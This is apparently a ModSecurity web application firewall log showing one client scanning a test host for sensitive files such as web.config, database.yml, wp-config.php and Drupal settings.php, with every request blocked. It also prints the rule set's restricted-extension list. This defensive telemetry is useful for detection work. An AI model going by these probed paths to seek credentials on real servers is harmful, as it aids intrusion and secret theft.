[Sun Mar 01 20:25:43.742287 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.old&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfiAAAAAQ&quot;]
[Sun Mar 01 20:25:43.742821 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.old&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfiAAAAAQ&quot;]
[Sun Mar 01 20:25:43.742992 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.old&quot;] [unique_id &quot;aaSStzbFttlEB3wQCxmfiAAAAAQ&quot;]
[Sun Mar 01 20:25:44.085658 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.ini&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmflwAAAAQ&quot;]
[Sun Mar 01 20:25:44.086209 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.ini&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmflwAAAAQ&quot;]
[Sun Mar 01 20:25:44.086433 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.ini&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmflwAAAAQ&quot;]
[Sun Mar 01 20:25:44.200424 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfnAAAAAQ&quot;]
[Sun Mar 01 20:25:44.200978 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfnAAAAAQ&quot;]
[Sun Mar 01 20:25:44.201169 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.ini&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfnAAAAAQ&quot;]
[Sun Mar 01 20:25:44.246193 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.config&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfngAAAAQ&quot;]
[Sun Mar 01 20:25:44.246784 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.config&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfngAAAAQ&quot;]
[Sun Mar 01 20:25:44.246970 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.config&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfngAAAAQ&quot;]
[Sun Mar 01 20:25:44.269013 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfnwAAAAQ&quot;]
[Sun Mar 01 20:25:44.269339 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfnwAAAAQ&quot;]
[Sun Mar 01 20:25:44.269594 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfnwAAAAQ&quot;]
[Sun Mar 01 20:25:44.269773 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfnwAAAAQ&quot;]
[Sun Mar 01 20:25:44.291770 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web.config&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfoAAAAAQ&quot;]
[Sun Mar 01 20:25:44.292066 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web.config&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfoAAAAAQ&quot;]
[Sun Mar 01 20:25:44.292318 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web.config&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfoAAAAAQ&quot;]
[Sun Mar 01 20:25:44.292475 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Web.config&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfoAAAAAQ&quot;]
[Sun Mar 01 20:25:44.428440 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfpgAAAAQ&quot;]
[Sun Mar 01 20:25:44.428676 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfpgAAAAQ&quot;]
[Sun Mar 01 20:25:44.428829 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.yml&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfpgAAAAQ&quot;]
[Sun Mar 01 20:25:44.859239 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfuQAAAAQ&quot;]
[Sun Mar 01 20:25:44.859528 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfuQAAAAQ&quot;]
[Sun Mar 01 20:25:44.859721 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aaSSuDbFttlEB3wQCxmfuQAAAAQ&quot;]
[Sun Mar 01 20:25:45.021168 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/sites/default/settings.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /sites/default/settings.php found within REQUEST_FILENAME: /sites/default/settings.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.php&quot;] [unique_id &quot;aaSSuTbFttlEB3wQCxmfwAAAAAQ&quot;]
[Sun Mar 01 20:25:45.021458 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.php&quot;] [unique_id &quot;aaSSuTbFttlEB3wQCxmfwAAAAAQ&quot;]
[Sun Mar 01 20:25:45.021631 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.php&quot;] [unique_id &quot;aaSSuTbFttlEB3wQCxmfwAAAAAQ&quot;]
